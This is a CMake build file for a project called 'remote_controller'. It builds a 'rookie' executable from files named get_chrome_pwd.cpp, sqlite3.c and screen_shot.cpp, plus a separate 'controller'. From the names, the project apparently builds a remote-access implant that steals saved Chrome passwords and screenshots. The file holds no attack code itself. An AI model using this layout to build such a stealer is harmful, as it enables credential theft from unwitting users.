project(remote_controller)
set(CMAKE_CXX_STANDARD 14)
cmake_minimum_required(VERSION 3.20)

set(CMAKE_EXE_LINKER_FLAGS -static)

add_definitions(-DUNICODE -D_UNICODE)

if(MSVC)
    add_compile_options(
            $<$<CONFIG:>:/MT> #---------|
            $<$<CONFIG:Debug>:/MTd> #---|-- Statically link the runtime libraries
            $<$<CONFIG:Release>:/MT> #--|
    )
endif()

set(GENERAL handler.h handler.cpp)
add_executable(rookie rookie.cpp get_chrome_pwd.cpp get_chrome_pwd.h sqlite3.h sqlite3.c ${GENERAL} screen_shot.cpp screen_shot.h)
add_executable(controller controller.cpp ${GENERAL} util.cpp util.h)

set_property(TARGET rookie controller PROPERTY
        MSVC_RUNTIME_LIBRARY "MultiThreaded$<$<CONFIG:Debug>:Debug>")
